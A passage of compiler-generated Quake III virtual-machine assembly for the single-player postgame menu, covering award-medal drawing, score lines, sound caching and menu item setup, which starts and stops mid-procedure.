RETI4
ADDRGP4 $110
JUMPV
LABELV $132
ADDRGP4 postgameMenuInfo
ARGP4
ADDRFP4 0
INDIRI4
ARGI4
ADDRLP4 4
ADDRGP4 Menu_DefaultKey
CALLI4
ASGNI4
ADDRLP4 4
INDIRI4
RETI4
LABELV $110
endproc UI_SPPostgameMenu_MenuKey 8 8
data
align 4
LABELV medalLocations
byte 4 144
byte 4 448
byte 4 88
byte 4 504
byte 4 32
byte 4 560
code
proc UI_SPPostgameMenu_DrawAwardsMedals 48 20
ADDRFP4 0
ADDRFP4 0
INDIRI4
ASGNI4
ADDRLP4 0
CNSTI4 0
ASGNI4
ADDRGP4 $139
JUMPV
LABELV $136
ADDRLP4 36
CNSTI4 2
ASGNI4
ADDRLP4 40
ADDRLP4 0
INDIRI4
ADDRLP4 36
INDIRI4
LSHI4
ASGNI4
ADDRLP4 8
ADDRLP4 40
INDIRI4
ADDRGP4 medalLocations
ADDP4
INDIRI4
ASGNI4
ADDRLP4 12
CNSTI4 64
ASGNI4
ADDRLP4 4
ADDRLP4 40
INDIRI4
ADDRGP4 postgameMenuInfo+876
ADDP4
INDIRI4
ASGNI4
ADDRLP4 32
ADDRLP4 40
INDIRI4
ADDRGP4 postgameMenuInfo+900
ADDP4
INDIRI4
ASGNI4
ADDRLP4 8
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 12
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 44
CNSTF4 1111490560
ASGNF4
ADDRLP4 44
INDIRF4
ARGF4
ADDRLP4 44
INDIRF4
ARGF4
ADDRLP4 4
INDIRI4
ADDRLP4 36
INDIRI4
LSHI4
ADDRGP4 ui_medalPicNames
ADDP4
INDIRP4
ARGP4
ADDRGP4 UI_DrawNamedPic
CALLV
pop
ADDRLP4 4
INDIRI4
CNSTI4 0
NEI4 $142
ADDRLP4 16
ARGP4
CNSTI4 16
ARGI4
ADDRGP4 $144
ARGP4
ADDRLP4 32
INDIRI4
ARGI4
ADDRGP4 Com_sprintf
CALLI4
pop
ADDRGP4 $143
JUMPV
LABELV $142
ADDRLP4 32
INDIRI4
CNSTI4 1
NEI4 $145
ADDRGP4 $137
JUMPV
LABELV $145
ADDRLP4 16
ARGP4
CNSTI4 16
ARGI4
ADDRGP4 $147
ARGP4
ADDRLP4 32
INDIRI4
ARGI4
ADDRGP4 Com_sprintf
CALLI4
pop
LABELV $143
ADDRLP4 8
INDIRI4
CNSTI4 24
ADDI4
ARGI4
ADDRLP4 12
INDIRI4
CNSTI4 52
ADDI4
ARGI4
ADDRLP4 16
ARGP4
CNSTI4 1
ARGI4
ADDRGP4 color_yellow
ARGP4
ADDRGP4 UI_DrawString
CALLV
pop
LABELV $137
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $139
ADDRLP4 0
INDIRI4
ADDRFP4 0
INDIRI4
LTI4 $136
LABELV $135
endproc UI_SPPostgameMenu_DrawAwardsMedals 48 20
proc UI_SPPostgameMenu_DrawAwardsPresentation 48 20
ADDRLP4 24
ADDRFP4 0
INDIRI4
ASGNI4
ADDRLP4 28
CNSTI4 2000
ASGNI4
ADDRLP4 0
ADDRLP4 24
INDIRI4
ADDRLP4 28
INDIRI4
DIVI4
ASGNI4
ADDRLP4 20
ADDRLP4 24
INDIRI4
ADDRLP4 28
INDIRI4
MODI4
ASGNI4
ADDRLP4 32
CNSTF4 1065353216
ASGNF4
ADDRLP4 4+8
ADDRLP4 32
INDIRF4
ASGNF4
ADDRLP4 4+4
ADDRLP4 32
INDIRF4
ASGNF4
ADDRLP4 4
ADDRLP4 32
INDIRF4
ASGNF4
ADDRLP4 4+12
CNSTI4 2000
ADDRLP4 20
INDIRI4
SUBI4
CVIF4 4
CNSTF4 1157234688
DIVF4
ASGNF4
CNSTI4 320
ARGI4
CNSTI4 64
ARGI4
ADDRLP4 36
CNSTI4 2
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 36
INDIRI4
LSHI4
ADDRGP4 postgameMenuInfo+876
ADDP4
INDIRI4
ADDRLP4 36
INDIRI4
LSHI4
ADDRGP4 ui_medalNames
ADDP4
INDIRP4
ARGP4
CNSTI4 1
ARGI4
ADDRLP4 4
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ARGI4
ADDRGP4 UI_SPPostgameMenu_DrawAwardsMedals
CALLV
pop
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+924
ADDP4
INDIRI4
CNSTI4 0
NEI4 $153
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+924
ADDP4
CNSTI4 1
ASGNI4
ADDRLP4 40
CNSTI4 2
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 40
INDIRI4
LSHI4
ADDRGP4 postgameMenuInfo+876
ADDP4
INDIRI4
ADDRLP4 40
INDIRI4
LSHI4
ADDRGP4 ui_medalSounds
ADDP4
INDIRP4
ARGP4
CNSTI4 0
ARGI4
ADDRLP4 44
ADDRGP4 trap_S_RegisterSound
CALLI4
ASGNI4
ADDRLP4 44
INDIRI4
ARGI4
CNSTI4 7
ARGI4
ADDRGP4 trap_S_StartLocalSound
CALLV
pop
LABELV $153
LABELV $148
endproc UI_SPPostgameMenu_DrawAwardsPresentation 48 20
proc UI_SPPostgameMenu_MenuDrawScoreLine 1100 20
ADDRFP4 0
ADDRFP4 0
INDIRI4
ASGNI4
ADDRFP4 0
INDIRI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
CNSTI4 1
ADDI4
LEI4 $159
ADDRFP4 0
ADDRFP4 0
INDIRI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
CNSTI4 2
ADDI4
SUBI4
ASGNI4
LABELV $159
ADDRFP4 0
INDIRI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
LTI4 $163
ADDRGP4 $158
JUMPV
LABELV $163
ADDRLP4 64
ADDRFP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+604
ADDP4
INDIRI4
ASGNI4
ADDRLP4 64
INDIRI4
CNSTI4 16384
BANDI4
CNSTI4 0
EQI4 $167
CNSTI4 392
ARGI4
ADDRFP4 4
INDIRI4
ARGI4
ADDRGP4 $169
ARGP4
CNSTI4 16
ARGI4
ADDRGP4 color_white
ARGP4
ADDRGP4 UI_DrawString
CALLV
pop
ADDRLP4 64
ADDRLP4 64
INDIRI4
CNSTI4 -16385
BANDI4
ASGNI4
LABELV $167
ADDRFP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+572
ADDP4
INDIRI4
CNSTI4 544
ADDI4
ARGI4
ADDRLP4 68
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 trap_GetConfigString
CALLI4
pop
ADDRLP4 68
ARGP4
ADDRGP4 $171
ARGP4
ADDRLP4 1092
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 0
ARGP4
ADDRLP4 1092
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 0
ARGP4
ADDRGP4 Q_CleanStr
CALLP4
pop
ADDRGP4 $172
ARGP4
ADDRLP4 64
INDIRI4
CNSTI4 1
ADDI4
ARGI4
ADDRLP4 0
ARGP4
ADDRFP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+636
ADDP4
INDIRI4
ARGI4
ADDRLP4 1096
ADDRGP4 va
CALLP4
ASGNP4
CNSTI4 440
ARGI4
ADDRFP4 4
INDIRI4
ARGI4
ADDRLP4 1096
INDIRP4
ARGP4
CNSTI4 16
ARGI4
ADDRGP4 color_white
ARGP4
ADDRGP4 UI_DrawString
CALLV
pop
LABELV $158
endproc UI_SPPostgameMenu_MenuDrawScoreLine 1100 20
proc UI_SPPostgameMenu_MenuDraw 1060 20
CNSTI4 1
ARGI4
ADDRLP4 8
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 trap_GetConfigString
CALLI4
pop
ADDRLP4 8
ARGP4
ADDRGP4 $175
ARGP4
ADDRLP4 1036
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 1036
INDIRP4
ARGP4
ADDRLP4 1040
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 1032
ADDRLP4 1040
INDIRI4
ASGNI4
ADDRLP4 1032
INDIRI4
ADDRGP4 postgameMenuInfo+568
INDIRI4
EQI4 $176
ADDRGP4 UI_PopMenu
CALLV
pop
ADDRGP4 $174
JUMPV
LABELV $176
ADDRGP4 postgameMenuInfo+864
INDIRI4
CNSTI4 2
LEI4 $179
CNSTI4 510
ARGI4
CNSTI4 389
ARGI4
ADDRGP4 postgameMenuInfo+668+128
ARGP4
CNSTI4 1
ARGI4
ADDRGP4 color_white
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
LABELV $179
CNSTI4 130
ARGI4
CNSTI4 389
ARGI4
ADDRGP4 postgameMenuInfo+668+64
ARGP4
CNSTI4 1
ARGI4
ADDRGP4 color_white
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
CNSTI4 320
ARGI4
CNSTI4 362
ARGI4
ADDRGP4 postgameMenuInfo+668
ARGP4
CNSTI4 1
ARGI4
ADDRGP4 color_white
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
ADDRGP4 postgameMenuInfo+552
INDIRI4
CNSTI4 1
NEI4 $187
ADDRLP4 0
ADDRGP4 uis+4
INDIRI4
ADDRGP4 postgameMenuInfo+560
INDIRI4
SUBI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 1000
LTI4 $192
ADDRGP4 postgameMenuInfo+952
INDIRI4
CNSTI4 0
EQI4 $192
ADDRGP4 postgameMenuInfo+952
INDIRI4
ARGI4
CNSTI4 7
ARGI4
ADDRGP4 trap_S_StartLocalSound
CALLV
pop
ADDRGP4 postgameMenuInfo+952
CNSTI4 0
ASGNI4
LABELV $192
ADDRLP4 0
INDIRI4
CNSTI4 5000
GEI4 $197
ADDRGP4 $174
JUMPV
LABELV $197
ADDRGP4 postgameMenuInfo+552
CNSTI4 2
ASGNI4
ADDRGP4 postgameMenuInfo+560
ADDRGP4 uis+4
INDIRI4
ASGNI4
LABELV $187
ADDRGP4 postgameMenuInfo+552
INDIRI4
CNSTI4 2
NEI4 $202
ADDRLP4 0
ADDRGP4 uis+4
INDIRI4
ADDRGP4 postgameMenuInfo+560
INDIRI4
SUBI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2000
ADDRGP4 postgameMenuInfo+872
INDIRI4
MULI4
LTI4 $207
ADDRLP4 0
INDIRI4
CNSTI4 5000
GEI4 $210
ADDRGP4 $174
JUMPV
LABELV $210
ADDRGP4 postgameMenuInfo+552
CNSTI4 3
ASGNI4
ADDRGP4 postgameMenuInfo+560
ADDRGP4 uis+4
INDIRI4
ASGNI4
ADDRGP4 $208
JUMPV
LABELV $207
ADDRLP4 0
INDIRI4
ARGI4
ADDRGP4 UI_SPPostgameMenu_DrawAwardsPresentation
CALLV
pop
LABELV $208
LABELV $202
ADDRGP4 postgameMenuInfo+552
INDIRI4
CNSTI4 3
NEI4 $215
ADDRGP4 uis+11444
INDIRI4
CNSTI4 0
EQI4 $218
ADDRGP4 postgameMenuInfo+868
INDIRI4
CNSTI4 1
NEI4 $219
CNSTI4 8
ARGI4
ADDRLP4 1044
ADDRGP4 UI_ShowTierVideo
CALLI4
ASGNI4
ADDRLP4 1044
INDIRI4
CNSTI4 0
EQI4 $219
ADDRGP4 $224
ARGP4
ADDRGP4 $225
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
CNSTI4 2
ARGI4
ADDRGP4 $226
ARGP4
ADDRGP4 trap_Cmd_ExecuteText
CALLV
pop
ADDRGP4 $174
JUMPV
LABELV $218
ADDRGP4 postgameMenuInfo+868
INDIRI4
CNSTI4 -1
LEI4 $227
ADDRGP4 postgameMenuInfo+868
INDIRI4
CNSTI4 1
ADDI4
ARGI4
ADDRLP4 1044
ADDRGP4 UI_ShowTierVideo
CALLI4
ASGNI4
ADDRLP4 1044
INDIRI4
CNSTI4 0
EQI4 $227
ADDRGP4 postgameMenuInfo+868
INDIRI4
ADDRGP4 postgameMenuInfo+948
INDIRI4
NEI4 $231
ADDRGP4 $224
ARGP4
ADDRGP4 $225
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
CNSTI4 2
ARGI4
ADDRGP4 $235
ARGP4
ADDRGP4 trap_Cmd_ExecuteText
CALLV
pop
ADDRGP4 $174
JUMPV
LABELV $231
ADDRGP4 $236
ARGP4
ADDRGP4 postgameMenuInfo+868
INDIRI4
CNSTI4 2
LSHI4
CVIF4 4
ARGF4
ADDRGP4 trap_Cvar_SetValue
CALLV
pop
ADDRGP4 $224
ARGP4
ADDRGP4 $238
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
ADDRGP4 $239
ARGP4
ADDRGP4 postgameMenuInfo+868
INDIRI4
CNSTI4 1
ADDI4
ARGI4
ADDRLP4 1048
ADDRGP4 va
CALLP4
ASGNP4
CNSTI4 2
ARGI4
ADDRLP4 1048
INDIRP4
ARGP4
ADDRGP4 trap_Cmd_ExecuteText
CALLV
pop
ADDRGP4 $174
JUMPV
LABELV $227
LABELV $219
ADDRLP4 1048
ADDRGP4 postgameMenuInfo+288+44
ASGNP4
ADDRLP4 1048
INDIRP4
ADDRLP4 1048
INDIRP4
INDIRU4
CNSTU4 4294950911
BANDU4
ASGNU4
ADDRLP4 1052
ADDRGP4 postgameMenuInfo+376+44
ASGNP4
ADDRLP4 1052
INDIRP4
ADDRLP4 1052
INDIRP4
INDIRU4
CNSTU4 4294950911
BANDU4
ASGNU4
ADDRLP4 1056
ADDRGP4 postgameMenuInfo+464+44
ASGNP4
ADDRLP4 1056
INDIRP4
ADDRLP4 1056
INDIRP4
INDIRU4
CNSTU4 4294950911
BANDU4
ASGNU4
ADDRGP4 postgameMenuInfo+872
INDIRI4
ARGI4
ADDRGP4 UI_SPPostgameMenu_DrawAwardsMedals
CALLV
pop
ADDRGP4 postgameMenuInfo
ARGP4
ADDRGP4 Menu_Draw
CALLV
pop
LABELV $215
ADDRGP4 $250
ARGP4
ADDRLP4 1044
ADDRGP4 trap_Cvar_VariableValue
CALLF4
ASGNF4
ADDRLP4 1044
INDIRF4
CNSTF4 0
NEF4 $248
ADDRGP4 $174
JUMPV
LABELV $248
ADDRLP4 0
ADDRGP4 uis+4
INDIRI4
ADDRGP4 postgameMenuInfo+564
INDIRI4
SUBI4
ASGNI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
CNSTI4 3
GTI4 $253
ADDRLP4 4
CNSTI4 0
ASGNI4
ADDRGP4 $254
JUMPV
LABELV $253
ADDRLP4 4
ADDRLP4 0
INDIRI4
CNSTI4 1500
DIVI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
CNSTI4 2
ADDI4
MODI4
ASGNI4
LABELV $254
ADDRLP4 4
INDIRI4
ARGI4
CNSTI4 0
ARGI4
ADDRGP4 UI_SPPostgameMenu_MenuDrawScoreLine
CALLV
pop
ADDRLP4 4
INDIRI4
CNSTI4 1
ADDI4
ARGI4
CNSTI4 16
ARGI4
ADDRGP4 UI_SPPostgameMenu_MenuDrawScoreLine
CALLV
pop
ADDRLP4 4
INDIRI4
CNSTI4 2
ADDI4
ARGI4
CNSTI4 32
ARGI4
ADDRGP4 UI_SPPostgameMenu_MenuDrawScoreLine
CALLV
pop
LABELV $174
endproc UI_SPPostgameMenu_MenuDraw 1060 20
export UI_SPPostgameMenu_Cache
proc UI_SPPostgameMenu_Cache 12 8
ADDRGP4 $258
ARGP4
ADDRLP4 8
ADDRGP4 trap_Cvar_VariableValue
CALLF4
ASGNF4
ADDRLP4 4
ADDRLP4 8
INDIRF4
CVFI4 4
ASGNI4
ADDRGP4 $259
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $260
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $261
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $262
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $263
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $264
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRLP4 0
CNSTI4 0
ASGNI4
LABELV $265
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 ui_medalPicNames
ADDP4
INDIRP4
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 ui_medalSounds
ADDP4
INDIRP4
ARGP4
CNSTI4 0
ARGI4
ADDRGP4 trap_S_RegisterSound
CALLI4
pop
LABELV $266
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 6
LTI4 $265
ADDRLP4 4
INDIRI4
CNSTI4 0
EQI4 $269
ADDRGP4 $271
ARGP4
CNSTI4 0
ARGI4
ADDRGP4 trap_S_RegisterSound
CALLI4
pop
ADDRGP4 $272
ARGP4
CNSTI4 0
ARGI4
ADDRGP4 trap_S_RegisterSound
CALLI4
pop
ADDRGP4 $273
ARGP4
CNSTI4 0
ARGI4
ADDRGP4 trap_S_RegisterSound
CALLI4
pop
LABELV $269
LABELV $257
endproc UI_SPPostgameMenu_Cache 12 8
proc UI_SPPostgameMenu_Init 0 8
ADDRGP4 postgameMenuInfo+276
CNSTI4 1
ASGNI4
ADDRGP4 postgameMenuInfo+272
ADDRGP4 UI_SPPostgameMenu_MenuKey
ASGNP4
ADDRGP4 postgameMenuInfo+268
ADDRGP4 UI_SPPostgameMenu_MenuDraw
ASGNP4
ADDRGP4 postgameMenuInfo+556
ADDRGP4 uis+4
INDIRI4
CNSTI4 1500
ADDI4
ASGNI4
ADDRGP4 UI_SPPostgameMenu_Cache
CALLV
pop
ADDRGP4 postgameMenuInfo+464
CNSTI4 6
ASGNI4
ADDRGP4 postgameMenuInfo+464+4
ADDRGP4 $259
ASGNP4
ADDRGP4 postgameMenuInfo+464+44
CNSTU4 16644
ASGNU4
ADDRGP4 postgameMenuInfo+464+12
CNSTI4 0
ASGNI4
ADDRGP4 postgameMenuInfo+464+16
CNSTI4 416
ASGNI4
ADDRGP4 postgameMenuInfo+464+48
ADDRGP4 UI_SPPostgameMenu_MenuEvent
ASGNP4
ADDRGP4 postgameMenuInfo+464+8
CNSTI4 12
ASGNI4
ADDRGP4 postgameMenuInfo+464+76
CNSTI4 128
ASGNI4
ADDRGP4 postgameMenuInfo+464+80
CNSTI4 64
ASGNI4
ADDRGP4 postgameMenuInfo+464+60
ADDRGP4 $260
ASGNP4
ADDRGP4 postgameMenuInfo+288
CNSTI4 6
ASGNI4
ADDRGP4 postgameMenuInfo+288+4
ADDRGP4 $261
ASGNP4
ADDRGP4 postgameMenuInfo+288+44
CNSTU4 16648
ASGNU4
ADDRGP4 postgameMenuInfo+288+12
CNSTI4 320
ASGNI4
ADDRGP4 postgameMenuInfo+288+16
CNSTI4 416
ASGNI4
ADDRGP4 postgameMenuInfo+288+48
ADDRGP4 UI_SPPostgameMenu_AgainEvent
ASGNP4
ADDRGP4 postgameMenuInfo+288+8
CNSTI4 10
ASGNI4
ADDRGP4 postgameMenuInfo+288+76
CNSTI4 128
ASGNI4
ADDRGP4 postgameMenuInfo+288+80
CNSTI4 64
ASGNI4
ADDRGP4 postgameMenuInfo+288+60
ADDRGP4 $262
ASGNP4
ADDRGP4 postgameMenuInfo+376
CNSTI4 6
ASGNI4
ADDRGP4 postgameMenuInfo+376+4
ADDRGP4 $263
ASGNP4
ADDRGP4 postgameMenuInfo+376+44
CNSTU4 16656
ASGNU4
ADDRGP4 postgameMenuInfo+376+12
CNSTI4 640
ASGNI4
ADDRGP4 postgameMenuInfo+376+16
CNSTI4 416
ASGNI4
ADDRGP4 postgameMenuInfo+376+48
ADDRGP4 UI_SPPostgameMenu_NextEvent
ASGNP4
ADDRGP4 postgameMenuInfo+376+8
CNSTI4 11
ASGNI4
ADDRGP4 postgameMenuInfo+376+76
CNSTI4 128
ASGNI4
ADDRGP4 postgameMenuInfo+376+80
CNSTI4 64
ASGNI4
ADDRGP4 postgameMenuInfo+376+60
ADDRGP4 $264
ASGNP4
ADDRGP4 postgameMenuInfo
ARGP4
ADDRGP4 postgameMenuInfo+464
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 postgameMenuInfo
ARGP4
ADDRGP4 postgameMenuInfo+288
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 postgameMenuInfo
ARGP4
ADDRGP4 postgameMenuInfo+376
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
LABELV $274
endproc UI_SPPostgameMenu_Init 0 8
proc Prepname 1104 12
ADDRFP4 0
ADDRFP4 0
INDIRI4
ASGNI4
ADDRFP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+572
ADDP4
INDIRI4
CNSTI4 544
ADDI4
ARGI4
ADDRLP4 68
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 trap_GetConfigString
CALLI4
pop
ADDRLP4 68
ARGP4
ADDRGP4 $171
ARGP4
ADDRLP4 1092
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 4
ARGP4
ADDRLP4 1092
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 4
ARGP4
ADDRGP4 Q_CleanStr
CALLP4
pop
ADDRLP4 4
ARGP4
ADDRLP4 1096
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 0
ADDRLP4 1096
INDIRU4
CVUI4 4
ASGNI4
ADDRGP4 $343
JUMPV
LABELV $342
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
SUBI4
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 4
ADDP4
CNSTI1 0
ASGNI1
LABELV $343
ADDRLP4 0
INDIRI4
CNSTI4 0
EQI4 $345
ADDRLP4 4
ARGP4
ADDRLP4 1100
ADDRGP4 UI_ProportionalStringWidth
CALLI4
ASGNI4
ADDRLP4 1100
INDIRI4
CNSTI4 256
GTI4 $342
LABELV $345
ADDRFP4 0
INDIRI4
CNSTI4 6
LSHI4
ADDRGP4 postgameMenuInfo+668
ADDP4
ARGP4
ADDRLP4 4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
LABELV $340
endproc Prepname 1104 12
export UI_SPPostgameMenu_f
proc UI_SPPostgameMenu_f 1248 12
ADDRGP4 postgameMenuInfo
ARGP4
CNSTI4 0
ARGI4
CNSTU4 956
ARGU4
ADDRGP4 qk_memset
CALLP4
pop
CNSTI4 1
ARGI4
ADDRLP4 36
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 trap_GetConfigString
CALLI4
pop
ADDRLP4 36
ARGP4
ADDRGP4 $175
ARGP4
ADDRLP4 1136
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 1136
INDIRP4
ARGP4
ADDRLP4 1140
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 postgameMenuInfo+568
ADDRLP4 1140
INDIRI4
ASGNI4
CNSTI4 0
ARGI4
ADDRLP4 36
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 trap_GetConfigString
CALLI4
pop
ADDRLP4 36
ARGP4
ADDRGP4 $350
ARGP4
ADDRLP4 1144
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 1064
ARGP4
ADDRLP4 1144
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 1064
ARGP4
ADDRLP4 1148
ADDRGP4 UI_GetArenaInfoByMap
CALLP4
ASGNP4
ADDRLP4 1060
ADDRLP4 1148
INDIRP4
ASGNP4
ADDRLP4 1060
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $351
ADDRGP4 $348
JUMPV
LABELV $351
ADDRGP4 arenainfo
ARGP4
ADDRLP4 1060
INDIRP4
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRGP4 arenainfo
ARGP4
ADDRGP4 $354
ARGP4
ADDRLP4 1152
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 1152
INDIRP4
ARGP4
ADDRLP4 1156
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 postgameMenuInfo+860
ADDRLP4 1156
INDIRI4
ASGNI4
CNSTI4 1
ARGI4
ADDRLP4 1160
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1160
INDIRP4
ARGP4
ADDRLP4 1164
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 postgameMenuInfo+864
ADDRLP4 1164
INDIRI4
ASGNI4
CNSTI4 2
ARGI4
ADDRLP4 1168
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1168
INDIRP4
ARGP4
ADDRLP4 1172
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 28
ADDRLP4 1172
INDIRI4
ASGNI4
ADDRLP4 1176
CNSTI4 8
ASGNI4
ADDRLP4 32
ADDRLP4 1176
INDIRI4
ASGNI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
ADDRLP4 1176
INDIRI4
LEI4 $356
ADDRGP4 postgameMenuInfo+864
CNSTI4 8
ASGNI4
LABELV $356
ADDRLP4 0
CNSTI4 0
ASGNI4
ADDRGP4 $363
JUMPV
LABELV $360
CNSTI4 3
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 8
ADDI4
CNSTI4 1
ADDI4
ARGI4
ADDRLP4 1184
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1184
INDIRP4
ARGP4
ADDRLP4 1188
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+572
ADDP4
ADDRLP4 1188
INDIRI4
ASGNI4
ADDRLP4 1196
CNSTI4 2
ASGNI4
CNSTI4 3
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 8
ADDI4
ADDRLP4 1196
INDIRI4
ADDI4
ARGI4
ADDRLP4 1200
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1200
INDIRP4
ARGP4
ADDRLP4 1204
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 1196
INDIRI4
LSHI4
ADDRGP4 postgameMenuInfo+604
ADDP4
ADDRLP4 1204
INDIRI4
ASGNI4
ADDRLP4 1208
CNSTI4 3
ASGNI4
ADDRLP4 1208
INDIRI4
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 8
ADDI4
ADDRLP4 1208
INDIRI4
ADDI4
ARGI4
ADDRLP4 1216
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1216
INDIRP4
ARGP4
ADDRLP4 1220
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+636
ADDP4
ADDRLP4 1220
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+572
ADDP4
INDIRI4
ADDRLP4 28
INDIRI4
NEI4 $368
ADDRLP4 32
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 postgameMenuInfo+604
ADDP4
INDIRI4
CNSTI4 -16385
BANDI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $368
LABELV $361
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $363
ADDRLP4 0
INDIRI4
ADDRGP4 postgameMenuInfo+864
INDIRI4
LTI4 $360
ADDRGP4 postgameMenuInfo+860
INDIRI4
ARGI4
ADDRLP4 32
INDIRI4
ARGI4
ADDRGP4 UI_SetBestScore
CALLV
pop
CNSTI4 3
ARGI4
ADDRLP4 1180
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1180
INDIRP4
ARGP4
ADDRLP4 1184
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 4
ADDRLP4 1184
INDIRI4
ASGNI4
CNSTI4 4
ARGI4
ADDRLP4 1188
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1188
INDIRP4
ARGP4
ADDRLP4 1192
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 4+4
ADDRLP4 1192
INDIRI4
ASGNI4
CNSTI4 5
ARGI4
ADDRLP4 1196
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1196
INDIRP4
ARGP4
ADDRLP4 1200
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 4+8
ADDRLP4 1200
INDIRI4
ASGNI4
CNSTI4 6
ARGI4
ADDRLP4 1204
ADDRGP4 UI_Argv
CALLP4
ASGNP4
ADDRLP4 1204
INDIRP4
ARGP4
ADDRLP4 1208
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 4+12
